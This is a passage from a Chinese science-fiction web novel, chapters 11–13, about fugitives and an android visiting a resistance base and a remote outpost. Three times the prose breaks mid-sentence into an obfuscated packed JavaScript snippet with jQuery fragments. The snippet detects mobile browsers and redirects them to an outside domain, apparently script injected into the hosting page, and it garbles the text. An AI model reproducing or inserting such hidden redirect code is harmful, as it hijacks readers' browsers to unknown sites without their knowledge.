顾筵没有逼问她太多,循序渐进比较好。莉汶匆匆擦过眼泪,给每人盛出一碗汤后端着坩锅离开了。 “总之,确保安全之后再行动,希望你可以再给我们一点时间。” 艾拉零放下工具。 “你去哪里。” “她情绪不稳定,我判断她需要安慰。” 扬光难以置信:“什么东西,捡个阿猫阿狗回来你都要管?” 艾拉零回头看了他一眼,除了那个眼神,离开之前再也没说一句话。 “我说你能不能管管她?别什么都往我这儿整。”扬光烦躁地抓了抓头发。 “有这么严重吗?莉汶不知道这里的具体方位,我也敢确保她不会泄密。” “跟这个叫莉汶的一点关系都没有,她,她太信任人类了,却不信任我们,你不觉得奇怪吗?” 顾筵继续盯着他的全息屏幕:“不太明白你这段对话的逻辑。” 扬光突然沉默下来。 安静到之后顾筵的手指敲击在桌面的声音。 “我又梦见你和江姨找到我的那天了。” 顾筵终于停下手上的动作,抬头看他。 “这就是你今天对她态度很奇怪的原因?” “跟她有什么关系?” 顾筵双手抱胸斟酌了一下措辞。 “感觉不像前几天那么讨厌她了。” 有吗? 扬光听了他这句话,当真思考起来,当然,扬光一直不太爱思考,所以只有三秒钟就放弃了。 “你说的什么?我讨厌她做什么,我只讨厌仿生人,她……她又不是。” “哦,我还以为你会说毕竟人家救了你。” 扬光听了这话直接跳脚:“我还没找你算账呢,是不是你告诉她我们要搞霓虹茧房?!” “没有。” 顾筵好像怕扬光没听到一样,又重复了一遍:“没有。” 11. 老大 扬光临时腾了个两个房间出来,顾筵的这个就在杂物间旁边。 老式收音机被扬光改造了一番,用来神不知鬼不觉窃听中心塔的新闻正正好。 “……有关于9月9日帝国产业技术综合研究所仿生技术研究中心B-X01实验室的突发爆炸有了最新进展,日前凯瑟琳·洛瑞博士被指需要为该事件负责,被王室护卫队带走进行非正式调查。但根据最新线索,由洛瑞博士担任技术主任一职的人工智能研究所仿真技术与应用研究室内的助理研究员顾筵有重大嫌疑。此人目前已经失联超过一周,联邦王室将讨论对此人继续展开追查,包括但不限于在中心区及边界地带提升身份识别等级……下面让我们再次关注9月13日发生在霓虹茧房的克里斯塔型攻击人类的事件,仿生共生学家道格·利切博士指出我们不能排除两个事件的关键性,但王室护卫队发言人表示在有明确证据指向之前,仍然会按照两个独立案件进行调查……” 伴随着夹杂了电流声的新闻播报,全息屏幕上无声地飞速运行着代码。最后一行代码运行完毕,显示运行成功的提示音将伏案浅眠的顾筵惊醒。 他揉了揉山根,还不适应强光的眼睛不自觉地眯起来去看全息屏幕上一条一条显示的信息。 花了几天工夫,他成功连上了研究室的网络。博士的电脑已经被一扫而空,但他的电脑里的资料却一应俱全。联邦王室已经来查过了,并且更可能在布控天罗地网试图守株待兔。 小儿科。 他又敲了几个键,调来了自己的备份资料。原本他就为了极端情况准备了没有报备过的虚拟存储,只是没有想到能极端到如此程度。 以防万一,他把艾拉型的数据统计全部导了出来,在此之前,就连老大和扬光那边,也只掌握了他统计的百分之五十都不到的数据。 重新又过了一遍资料,总觉得自己遗漏了什么,还有没有别的可以研究的数据…… 他目光一敛,一个极容易被忽视的存在浮现在他眼前。 —————— 扬光也在工作区里听新闻。 那座自焊辉光管时钟歪歪扭扭的,显示分秒的辉光管闪烁不定仿佛在哀嚎。 看莉汶怯生生地表情,估计是扬光砸的。 “老大来了消息?” 扬光没答,哼了一声。 顾筵上前直接登录了扬光的账号调取文件。 “913是个很有意义的数字,不是吗?仿生人开始反抗人类——虽然事件马上就被按下来了,你猜为什么?我猜测是因为自己人里有内鬼——” 扬光往旁边随意一瞥,莉汶见他的目光扫向她,茫茫然用颤抖的手指了指自己。 “——少自作多情,你算什么自己人?” 他翻了个白眼,接着道。 “结果就是,这一天居然没有被命名为仿生人觉醒日?” “毕竟只有一个型号出问题了,我希望能尽快确定联邦王室对这件事的态度。”顾筵还在逐条确认信息。 扬光彻底没声了,他抬头看过去,又顺着扬光的视线捕捉到了艾拉零和跟在她身后的莉汶。 “快没有补给了,我得出去一趟。”艾拉零并不是来和他们商量的。 “怎么可能,”扬光已经收回了目光,双手抱胸到顾筵身旁读消息,虽然不清楚看了多少进脑子,“杂物间我囤了三年份的罐头,就算现在四张嘴也不可能消耗得那么快。” “盐份过高,种类单一,对人身体不好。” “我跟你一起出去。”顾筵插话。 “为什么?” “为什么?” 艾拉零和扬光同时发问。 顾筵狐疑地看了一眼扬光:“你还没看过内容吗?” 克里斯塔事件死者已经超过三十名,这足以震撼中心塔。 江鲆那边截获了消息,王室正在筹备悼念仪式来安抚贵族们,就等时间确定下来。 “进不去中心塔什么都白搭不是吗?” 顾筵指着最下面一行字:正在商讨举办地点。 “这是一次拉拢平民的机会,他们不会轻易放过的,出中心塔的几率极大。但依然得做两手准备。” 扬光掏了掏耳朵:“那现在就得加急找到还能顺利混进中心塔里的路子呗。” 莉汶缩在艾拉零身后,偷偷看向其他两人。 “有事说事。”扬光最看不得她这个样子。 莉汶抿抿唇:“今天听新闻的时候……他们说已经控制了A209,如果你们有办法拿到她的出厂条码……” 顾筵和扬光对视一眼:“仿生人工厂?找那里做什么?” 艾拉零默默地取出从A209那边拿到的中心塔通行证,现在应该只能算旧版了。 莉汶鼓起勇气继续说下去:“有时候,会有客人预约提一些特殊要求……比如说带我去中心塔什么的。但霓虹茧房里有人类这件事他们不能外泄,就会蒙住我的头把我带去那里……在克里斯塔同样的位置印上条码……” “不稳妥。”顾筵果断拒绝。 “什么鬼特殊要求还要带人去中心塔。”扬光忍不住把腹诽吐槽出口。 莉汶听得一怔,努力不让自己哽咽出声。 “请问这位先生能好好管住嘴吗?该问的问,不该问的别问。” 扬光理亏,但嘴硬:“你是她保镖还是她养母?” 闹剧休战,顾筵继续分析:“莉汶的情况特殊,入口不可能不扫描生物体征,这个做法几乎不可行。” “不用那么麻烦。”艾拉零平静道,“薄雾哨所的地下通道有一条密道连通中心塔的主控室,切断总闸到启用备用电源中间有15分钟空档,足够从主控室通往中心塔入口。” 扬光的脸已经黑成炭了:“你知道,你不早说?岂不是我们连霓虹茧房都不用去?” 艾拉零颔首:“我说过暴力拆解,你可能会错了意,并且否决了我的方案。”她转头看向顾筵,“这里似乎你的话语权更大一些,我的方案如何?” 顾筵若有所思地望向她:“我需要向你介绍一个人。” —————— 顾筵的话语权大么?不见得。 但他的确能让艾拉零见到话语权最大的人。 事不宜迟,几人一起出的基地。 “真的要带上她?”扬光忍不住又问。 “你的意思是放她在你基地里自由自在地到处探索更合你心意是吗?” 艾拉零问道。 莉汶闻言赶紧又靠得离艾拉零近一些,眨着无辜的大眼睛多看了他两眼。 “得意什么。”扬光呸了一句。这女人迟早会发现自己找错靠山了。 几人绕开了霓虹茧房,那里现在几乎全是监视器。关灯以后大路上再也没有疾驰的马车,颓丧染满了世界。 “可能会有些难受,这次要去到更外围一点。”顾筵走过来递给艾拉零一壶清水。 艾拉零无言接过,感受到了另一道视线,稍微侧过脸去,只捕捉到了扬光将头扭向另一边的动作。 “谢谢。”她把水递给了莉汶。 顾筵见状,漫不经心地搭话问道:“我以前倒是没怎么听说过你是个热心肠。你知道的,你只生活在我们研究室的传闻中。” 艾拉零看了过来,表示她在听。 “博士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073046|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我听的录音里也提及你之前任务的详细情况,你也救了另一个人类女孩。我是说,那是你第一次出现这样的情况,不是吗?我有些好奇在你身上发生了什么。” “你既然没有从妈妈那里得知什么,也不可能从我这里知道。”她停下来等因为站定喝水和队伍稍稍有些脱节的莉汶。 顾筵笑了笑,点头表示理解了,折返回扬光身边。 两男两女中间隔了条鸿沟,像是一股无形的力量将他们撕扯开来。 扬光的注意力不是在艾拉零身上,就是在莉汶身上。 她好像完全不害怕霓虹茧房之外的地方,但这丫头说一说就要哭,惹不起,娇气得很。 他忍不住又翻了个白眼。 “人家走路走得好好的,又怎么你了。”他的小动作被顾筵看在眼里。 “给她们做祷告,一会儿别被老大撕成碎片才好。”扬光呲了呲一口白牙。 莉汶惊恐地回头看向这边,显然刚才的话她听到了,并且被吓得不轻。 “到了。”顾筵扬声道,艾拉零和莉汶闻言停下。 一片空旷的废地,连中心区周围那些高耸的废墟都愈发矮下来了。 “这里……这里有什么?”莉汶躲在艾拉零身旁小声问道。 顾筵指了指地面:“地下通道可不只有薄雾哨所有。” 扬光站出来挡在两人面前:“恐怕要请二位转过去了,接下来的机密情报两位没有可以等价交换的东西。” 艾拉零拍拍莉汶的后背,后者乖巧地跟着她转身,似乎走得有些久了,她问:“我不看,可以蹲下来休息吗?” “可以。废话多。”扬光被气笑了。 等地下通道的入口完全敞开在众人面前,其实也没有花多久,扬光从背包里掏出一个全息模型出来,按照比例将此处的地下结构展示得一清二楚。他将密钥输入模型里,现实中的地面也随之微微震颤,尘沙飞扬中,地面如同裂开了一道深渊之口。这里绝对容得下三个连的军队在一分钟以内进出。 “捂住耳朵。” 扬光又取下自己挂在脖子上的骷髅头吊坠,比划了几下,找了个最佳角度往那个深渊巨口中丢了进去,没入黑暗中的吊坠发出了几声脆响后,一阵火光冲天,伴随着剧烈的扫射声,莉汶被惊得尖叫着抱头恨不得钻进地底。 “欢迎仪式结束了,年轻人们。”一道洪亮的声音从黑暗中响起,随之传来的是沉重的脚步声。 一个面目狰狞的男人出现在昏暗的视线中,他身形巨大,少说也有6英尺半,加上巨大的体格,莉汶得仰头到一个脖子发酸的程度才能看到他的全貌。 像一头蛰伏着刚刚苏醒的野兽悠然地步出自己的巢穴。 “你们带了朋友来,我很开心。请吧,女士们。” “野兽”没有过多停留,招了招手,转身又往地下走去。 在到达某个地方之前,他似乎不打算有多余的交谈,脚下的地面从泥土变成水泥,再到现在又是精铁网铺成的桥,前方回归厚重的钢板,似乎是地下重新搭建起的新型建筑的某一层。 “野兽”终于站定在一道高强度合金钢的大门前,摸索着在后腰的口袋里找出火种,将大门两旁的火把点燃。 “原谅这一段路我们还没通电,孩子们。”他将手搭上手轮上,“放心,我出来接你们的时候没有重新上锁,这次就不需要回避了。” 大门缓缓开启,光线从里面绽出来,莉汶被强光刺得睁不开眼,只好用双手捂住脸。 光照在艾拉零的瞳孔上,微微收缩后,她适应了光线,忍不住向前一步—— “孩子们,欢迎来到我的帝国。” 12. 江鲆 出现在众人面前的是一座由废弃军工厂改良后的工作间。 中间的巨大空间被盘绕着的滑轨占据,有个光头女人在地下调试轨道。在她身后是个骨瘦如柴的男人,坐在潦草搭建的工作台上透过放大镜在焊接什么东西。四周的人零零散散地,时不时有人放下手里的活,好奇地抬头看他们一眼,最后事不关己地埋头继续自己的工作。 “现在只能当玩具,就看汉娜进展如何了。对了,我叫修罗,虽然大家喜欢跟风叫我‘老大’,但我喜欢修罗这个名字。江鲆给我起的,她说这个名字比较酷。” 修罗露齿笑起来,他连牙齿都比一般人大一号。 莉汶紧紧攥住艾拉零的袖子,紧紧盯着脚下,仿佛眼前的一切不过是些小孩子们的把戏,令她提不起半点兴趣。 斜前方有些响动,她不自觉地抬头,看清是什么以后倒抽一口冷气,颤抖地扯了扯艾拉零的袖子。 “江鲆出任务去了,也快回来了,你们好久不见,可以去聊聊天。”修罗朝顾筵云淡风轻地提了一嘴,又转头看向艾拉零,“她就喜欢这样甩手掌柜,说出任务轻松多了,这里就归我守着。” 艾拉零的目光也从那台已经像了七八成的大卫型身上收回来,轻声开口,声音差点湮没在这些器械装置发出的声音中,却掷地有声。 “所以你们的人已经渗透到研究中心了。” 顾筵对其中的意有所指眉头也不动一下,倒是修罗爽朗地笑起来:“别误会,成为一名优秀的学者一直是顾筵这小子从小到大的梦想。” “原来是这样,我们的谈话还没有深入到这种程度。” “这样吗?我看这小子很了解你,毕竟和你的——”他两手胡乱飞舞了几下,终于找出了一个合适一点不那么冒犯的词,“——次生体们相处了那么久。” “她们都不是我,何来了解一说。” 修罗似乎很意外听到这个回答,但那种情绪转变成了惊喜:“的确,的确如此,他还得努力啊,哈哈哈哈哈……” “老大。”一个瘦高的女人在楼底下等候他们,目光落在艾拉零身上停留了几秒,才把手里的资料递给修罗。 修罗挠挠头:“这我也看不懂,等江鲆回来吧。” 女人冷漠着脸:“鲆姐交待过她回来之前所有的事情都要你做决策的。” “这样啊。” 修罗慢吞吞地接过来,也不看一眼,又要招呼几人再往里面参观。 女人停在原地不动,看艾拉零的眼神像缚住猎物的毒蛇。 “我听说顾筵一直没有拿到的完整数据,就是关于她的?”她轻蔑地掠过艾拉零的周身,“好像和其他同时期的型号比也没什么区别?” “你想要什么样的区别?” 莉汶努力压低嗓音抑制住自己的惊呼,刚刚还在分散着专注自己手上作业的人已经团团围过来。 “大卫型身体机能数一数二,号称能凭一人击垮我们自然人反抗军的一支十人精锐小队。你呢?你能打几个?” 艾拉零还静静地站在台阶上,仿佛在分析这句话的深意。 许久才看向修罗:“这就是你们邀请我来的目的吗?” “沙农,别这样。”修罗笨拙地将两只手举在胸前,“我的确是诚心邀请你们的。啊……不如我们借一步说话?” 他领路在前围过来的人默默让出一条路,眼睛仍焊在艾拉零身上不动。 艾拉零轻轻拍了一下莉汶的后背示意她跟上,自己则缓步走下台阶,渐渐放慢了脚步。 经过沙农时她停了下来。 “想知道我的数据到什么程度吗?”沙农发誓她看到艾拉零的嘴角轻轻勾起一个弧度,在沙农炯炯有神的目光中附在她耳边,“可惜,如果我无法判断出自己在这里能全身而退,我是不会踏进你们的地盘一步的。真好奇的话,欢迎来试试。” 正在给盗版大卫安装零部件的刺猬头被身边一声巨响吓了一跳,他摘下耳机看向有些疯魔的沙农。 “搞什么啊?” “资料呢?顾筵传回来的资料呢?” 刺猬头哆嗦着伸手去够一边的抽屉,被她一手挥开,自顾自地翻了起来。 “为什么顾筵传回来的资料里说艾拉型是联邦王室投入资金最多的秘密军事研究,一切为了实战服务,是不具备面部仿真表情用的柔性电子的。那她刚才那个算什么?” “什么什么?”刺猬头听了一愣一愣的,干巴巴地问道。 “表情!她能做表情!难道只有我发现了这一点吗?” 刺猬头明显不觉得这有什么好惊讶的,耸耸肩,两手一摊:“升级了呗。” 修罗继续带着人往里走,中途停了下来,侧着耳听了听。 艾拉零明显也感觉到了什么,抬头看向天花板的位置。 “听力不错!”修罗大笑着对几人道,指了指艾拉零,“你看毕隆复刻的大卫灵敏度就没这么高。” 自从进来以后存在感就降到最低的扬光不自在地摸了摸鼻子:“老大,你说什么呢?” “抱歉抱歉,职业病,我以前专门给劳拉型检修的。” 修罗放缓了脚步。 “那你和江鲆很早就认识了。” “为什么这么说?” 艾拉零连脚步都轻了许多:“你刚刚说你的名字是她取的。当然,我这么说有些武断了,也许你从前做检测师的时候不叫修罗。那个时候你叫什么名字?” 修罗一阵沉默,呼吸声都不明显。 “看来我们的关系也没到这个程度。”艾拉零不再问了。 扬光嗤了一声,落在最后跟顾筵说:“你这把刀是懂怎么气人的。” “这些稍后再谈,我们的战争之神回来了,她很想见见你。” “可以。但再过三小时我必须动身去薄雾哨所,你们跟不跟对我没什么影响。” 修罗挑起他那两条毛毛虫似的眉毛:“当然——我还没感谢你提供这样重要的线索,要知道我们一直无法突破中心塔,现在不一样了,你就是我们的希望——” 似乎为了防止修罗继续失言,顾筵开始轻声同艾拉零指路。 修罗撇了撇嘴:“年轻人还是和年轻人交流起来有趣,仿生人也一样。我有些想念劳拉了。” 他们似乎毫无保留地向艾拉零展示了全部的反抗军地下基地,甚至没有提及任何有关保密的话题。 军工厂的尽头看上去像是修罗的起居室,连通着一间有着巨大圆桌的房间。充其量算是会议室吧。 圆桌尽头不是一般会议室常有的巨型幕布或是全息投影仪,而是巨大的星空画布。左侧还有些橘粉色,向右渐渐晕染至暗淡无光,繁星便点缀了剩下的空间。 一个穿着坦克背心的女人正抬头看着这幅巨大的画布。 她小麦色的皮肤和手臂的线条看上去健硕有力,紧抿的嘴角和高高的颧骨显示着主人的一丝不苟,只有眼角的皱纹昭示着岁月的痕迹。 修罗见到她很高兴。 “江鲆!你都出去三个月了,还以为你把回来的路给忘了。” “可能吗?我每天都有发消息回来不是吗?” 修罗双手抱成拳,大拇指在忙忙碌碌地乱动:“毕竟有些事情我一个人决定不了,比如说……” “比如说这个薄雾哨所?”江鲆犀利的目光注视着艾拉零,“我想知道这个消息从何而来。” 艾拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073047|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零无视了言语间的火药味,有问必答:“自然是从中心塔的构造图上知道的,你们没有这种构造图,自然不相信事情能如此简单。” “与此无关。”江鲆抬起下巴,“我驻守过薄雾哨所三十年,从来没有见过能连通到任何一处的地下通道。” 扬光迟迟地啊了一声,好像终于意识到了什么,整个人失去了色彩。 “意思就是你们不相信这个信息,那好,莉汶,我们走。” 莉汶左右张望了一下,茫然无措不知为何会谈成这样。 “她得留下。” “什么?” 江鲆双手抱胸,灰白的眼睫洒下一片阴影:“抱歉了女孩,我们也想去中心塔,你把入口打开,我们进去,她就可以离开。” 修罗走向江鲆,两人并肩看向艾拉零。像是艾拉零面前拱起了两座山。 扬光难以置信地看着眼前这一幕:“这……” “这样不妥,女士。”艾拉零直视江鲆那威严的目光,“你们在我们计划潜入中心塔时擅自改变了计划,利用克里斯塔攻击贵族,导致我不得不将这条线路透露给你们。就算你们向我毫无保留地展示了你们的基地,那这件事应该是一比一平。没有道理我还要为你们服务一次。” 意思很明显了,让她一个人犯险,可以。筹码得给足。 “我开始理解为什么洛瑞博士那么看重你了,我们迫不及待了解你更多……”修罗又像搞不清楚状况一样兴奋地摩挲着手掌。 “我跟她一起去。”顾筵出声。 “我也一起去。”扬光撇撇嘴。 “扬光?” 扬光窝了一肚子火:“你们每次都半路变卦,再有下次我这辈子是不会回来了。” 江鲆试图阻止他:“你刚刚没有听到吗?那个哨所——” “那又怎么样?我宁愿去我父母死掉的地方也不想待在这儿!” 放肆地吼完,整个空间都安静下来了。 “我知道了。”江鲆点点头,“一路上交给顾筵做主吧,他应变能力已经在我之上了。” “都可以,我不在乎。”这群人好像已经把整个任务规划完了,没有问过发起人的意见。 发起人艾拉零语气似乎更寡淡了些:“至于这个女孩儿,说实话,你们爱怎么处置都可以。人类总是这么有趣,以为自己拿了足够的筹码开局。” 三人相继离开,莉汶当真就是乖乖留在了原地,纯良无害地看向江鲆。 在这短短的时间里她显然已经确定了这个地方谁才是真正的意见领袖。 “我可以喝水吗?肚子也饿了。” 沙农过来不情不愿地带走了莉汶,两人终于可以私下谈会儿话了。 “沙农说你又把所有决策拖到我回来处理。” “我不擅长这个,你早就知道。” “我持反对意见。” 修罗无所谓地笑笑,想起了什么:“扬光那小子总是口无遮拦,你别放在心上。他很感激我们救了他的,他不说我也知道。” “无所谓,我们办事本来也不算太见得光。” “好了,你回来的第一天,别聊些这种扫兴的东西,看看天空吧。” 修罗庞大的身躯挤在一张对于他而言有些局促的躺椅上,木制构造被压得苟延残喘,旁边还贴心地给江鲆准备了另一张。 “你换了一幅星空图?” “特地为了迎接你凯旋。”修罗笑眯眯地将两只高脚杯满上,“来,听说你们的先祖在旧文明中总会这样……呃……呃……” “祝酒,说得好像你们那边不会一样。” 江鲆举起酒杯。 “敬——这破破烂烂的世界。” 13. 薄雾哨所 艾拉零走在最前,过往的反抗军用不失为恶意的眼神注视着她,但这在她眼中并不存在,虚无缥缈的东西,无法伤她分毫。她沿着修罗带领他们的路线原路返回,就连步数都丝毫不差。 “你刚刚说三小时之后出发,现在时间还很充裕不是吗?”顾筵上前两步,拉近了两个人的距离。 “可能吧,但我不想待在不欢迎我的地方。” 顾筵第一次听见她这个说法,不由得多看了她两眼。 “我以为你不在乎别人对你的看法。” “我不在乎。但人类在乎。” 顾筵眼中的波澜微顿。 “我想我们可以多准备一下,比如——你要不要整顿一下自己的装备?” 艾拉零背对着他摇摇头。 扬光在一旁帮腔:“这么厉害?你用什么闯中心塔?该不会就那把小匕首吧?你们俩这……” 猝不及防一拳砸在顾筵伤处,后者吃痛一声:“有病?我伤口裂开了。” 扬光得瑟一笑,换了只手直击艾拉零的肩伤。 他只觉得眼前一花,反应过来时已经被艾拉零将左手反剪在背后,甚至往下多压了几下,他吃痛叫出声。 “疼!放手你这个疯子!” 艾拉零在他耳边寒声道:“如果一路上拦路的都是你这个水平,百千个都没问题了。” 见他吃瘪,顾筵揉着伤口想狠狠嘲笑几句,但还不是时候。 “不管怎么说,会是一场硬仗,多带点以备不时之需。” 艾拉零松开扬光,默默站在原地看着顾筵。 “中心塔的武装戒备你比我们更清楚,我以为你不是莽撞的类型。” “好。带路。”艾拉零移开视线,打量着狭长的通道。 扬光朝顾筵使了个眼色,揉着肩颈走到最前。 这次扬光带她从中段的拐角走了反方向,不一会儿,通道一侧就是紧密排布的锈迹斑斑的铁门。 扬光大概也不太熟悉这里了,每个门前都要停顿一下确认方位。 转过头,看到艾拉零在目不转睛地盯着他的一举一动,他的鬼点子又多了起来。 “看到这个实验室了吗?里面那台是最先进的MIK477。只要把你弄晕了,按上去绑起来,人也好仿生人也罢,所有机能数据给你一条条列得一清二楚。” 艾拉零毫无兴趣:“既然这样,带我去军火库不是多此一举么。” 扬光一路上没讨到好,冷着脸打开了库门。顾筵也要跟进去的时候他突然叫住他。 “那个她救出来的丫头,真要留在这?” 顾筵掀起眼皮看了他一眼:“怎么,你想带着?” “总觉得不安心,但她也不可能把基地炸了,对吧。”扬光抓耳挠腮地思考着。 顾筵抵着门放他跟进去:“带上她多一份凶险,没准会被拖累,再说这里毕竟遮风挡雨。” 艾拉零还没有选好武器。 “如果我是你,右手边那把能量步枪不错。”顾筵见她犹豫不决,“钛合金和纳米晶体材料,配合追踪子弹连新手都能百发百中——当然你不是新手。” 艾拉零丝毫没有上手的意思,顾筵看到她的目光落在某处,继续介绍:“磁场盾,追踪子弹的克星,听说追踪子弹的制作团队依旧无法攻克会被磁场盾改道的难题。大小也合适,轻便易携。 “——我猜也是这个。”他看到艾拉零的手落在了一把不起眼的能量短刀上,“你似乎对冷兵器情有独钟。” 艾拉零握住刀柄看似随性地挥动几下,随即直指顾筵的颈动脉:“这个也要写进你的观察记录里吗?” 顾筵注视着那泛着冷光的刃:“我现在是通缉犯,可不是助理研究员。” “助理研究员也好,联邦王室通缉犯也好,反抗军组织成员也好。只要不把歪脑筋打在我和妈妈身上,我都可以视而不见。如果被我发现你们做出了对妈妈不利的事情……我第一个拧断的就是你们两个的脖子。不要对我的事情好奇心太重,听清楚了?” “那好像……有点难。” “什么?” “‘若我连探索欲也一并消失殆尽,我将不如草木,而是顽石’……” 顾筵低声呢喃着,双手举至身侧,彰显自己的毫无保留。然后等。等待艾拉零手中的短刀放下,或是刺穿他的喉咙。 当那股威亚渐渐散去时,他知道他赌对了。 艾拉零握着那把短刀擦过他身边,也将刚刚看到的磁场盾一起收入囊中。 “先谢了。” 扬光被这一通变故惊得瞠目结舌,等艾拉零走出去,才一脸不解地看着顾筵。 顾筵此刻已是满额冷汗,不论是谁被那把刀和执刀人充满杀意的眼神盯着都不会好受。 杀意…… 一股寒意爬上他的脊背,他松了松领口,扬光还在看他。 “洛瑞博士在第96届仿生技术交流会上的演讲的谢辞。我要是你,我也会多看一点关于博士的材料,有时候真的能保命。” 扬光无语:“我看你别惹她,比什么都强。” 磁场盾挂在腰间,能量短刀握在掌心,她经过的每一个人都将一切看得清清楚楚,良久却纷纷低下了头。 三人踏上升降梯返回廊桥,没有人再看向他们。 “我这几天走的路都快追平我这辈子走的了。”扬光忍不住吐槽。 艾拉零纠正他:“永远不可能追平的,只可能无限接近。” 扬光语气虽然怂,话倒是硬气:“谁不知道啊?用……用得着你教。” 他裹了裹自己的外套,赌气一般看向另一边。 “说来说去,你修车速度太慢了。”顾筵已经恢复平静,甚至有心情跟扬光开玩笑。 “有没有搞错,这也怪我?就算影渡修好了,这段也没法开啊。” 已经快要开灯了,不安全的地界已经从中心区扩展到了以霓虹茧房为界的纬度。 薄雾哨所的纬度位于中心区边界和霓虹茧房之间,但从经度上看就距离霓虹茧房十万八千里了。 大规模战争早已偃旗息鼓,应该只有老兵会留守在驿站内。 越靠近,扬光越沉默,没有他叽叽喳喳,几人身边只剩衣料摩擦发出的窸窸窣窣声。 “有人。”艾拉零将能量短刀抛至左手,又摸出匕首,双手一前一后时刻备战。 顾筵也感受到了那一股不详的视线。 “只剩看门人了才对,不足为惧。”顾筵上前两步,听到远处传来一声怒吼。 “擅入者!这里没有你们想要的东西!离开!立刻!不然我就把你们打成筛子!” 艾拉零环顾四周,这里比霓虹茧房外的大道更加荒凉些,恐怕早已人迹罕至。风卷起地上的沙砾,这片土地下埋藏了多少残酷的历史,恐怕现在喊话的人仍然历历在目。 顾筵紧锁眉头,必须马上想出对策,就这么打道回府,他做不到,艾拉零更不可能。 “那个小子,你。” 几人一怔,那个声音喘着粗气继续说:“就是站在最后的那个,那个站没站相的。” 艾拉零和顾筵回头看,扬光茫然地指指自己:“啊?” “就是你!上前几步,走到前面来。” “我去,这人要拿我当靶子吗?我告辞,不玩了。”扬光咒骂一句,当真准备跑路。 “滚到前面来!让我看清你的样子!” 艾拉零转过身,匕首直指扬光。扬光读出了意思:要么按他说的做,要么这个恐怖的女人会宰了我。 “有话好说,有话好说。”艾拉零已经被他从仿生人名单划出去很久了。但还没有从精神病名单划出去。 “还有你,另一个小子,你们两个,都走到前面来。” 艾拉零收起匕首,拦住了两个人的退路,意思很明显,这个哨所她一定要去,不管对方有什么要求,她恐怕都会满足。 对方没了声音,不一会儿,一名白发苍苍穿着旧式军服的士兵端着电磁步枪从雾霾中走了出来。 他从瞄准镜里看他们:“来做什么的。” 顾筵双手抱在脑后,给扬光使了个眼色,后者也照做。 “维修。” “骗子,我没有报备过任何事情,无线电已经十年没有用过了。” 艾拉零在最后出声:“的确是维修,不过不是修你这里。” 老兵警觉地从瞄准镜里仔细辨认。 “谁来了?乔。”哨所里传来一个懒倦妖娆的熟悉声音。 顾筵心下一惊。扬光也满脸疑惑。 克里斯塔? 如果你在同一个地方听到过同样的声线从许多长得同样的面孔发出来,你大概也会永生难忘。 “哦,不,你不用出来,亲爱的。我招待他们就够了,一会儿我就打发他们走,这里还是只有我和你。” 从打了几十年仗的硬汉嘴里听到他说情话,这真是新奇罕见的体验。 情话这种东西在新纪元已经被进化了,术业有专攻,现在也就克里斯塔会说,但还能说话的克里斯塔,大概都已经被处理掉了。 “乔叔叔?”顾筵眯起眼睛,想看清楚老兵的模样。 那名被唤作乔的老兵转过身来,表情淡定,并没有特别在乎被认出来。 “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073048|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个跟你们各自的父母一模一样。完美的继承。” —————— 克里斯塔帮忙准备了茶。 “我更喜欢乔叫我爱尔,你们也可以这么叫。克里斯塔……你们懂的,有点那个什么。”她眨了眨眼睛。 爱尔先递给了乔:“你一直喜欢这个,三块方糖和半杯奶。” “爱尔总是这么温柔,她最近更体贴了。”乔咧开了满脸皱纹,嘬起爱尔的茶,“无上的美味。” 爱尔看向另外三人:“你们快喝吧,我保证茶叶包是新鲜的,这里只是没有人来,定期的补给从来没断过。我吃得少一些,两个人住刚刚好。” “没有冒犯的意思……那你的系统更新……”扬光尴尬地嗑了一下。 这事情实在荒唐。他对爸爸的确印象不深了,但这个江鲆收养他后还见过几面的乔,他还是记得一些。 在他短暂的记忆里,乔憎恨仿生人,厌恶仿生人,怎么会留在这个被人遗忘的角落里,和一个仿生人……相依为命? “哦,这里的电力充足,我想我和乔都不用担心这个——孩子们,好喝吗?” 爱尔依旧用着克里斯塔的声线,神态却安静祥和,不如说,像一名慈祥的长者,而非舞池中的妖精。 这种强烈的反差感令扬光不受控制地观察她。 “我猜你们觉得我很奇怪,是不是?”爱尔笑着打破了僵局。 乔在一旁粗声粗气地说:“别理会他们,我马上赶他们走。” 爱尔将手安抚地覆上乔的手背:“看不出来吗?孩子们赶路累了,让他们休息休息吧。已经很久没有人来陪我们了,不是吗?” 乔哼了一声,爱尔用第二杯加糖加奶的红茶哄好了。 “你是最近才变成这样的吗?”艾拉零终于发问,面若冰霜的表情对上爱尔和蔼可亲的笑脸。 “你是说……我如此……类人?”爱尔找了个她觉得合适的词。 艾拉零不语。 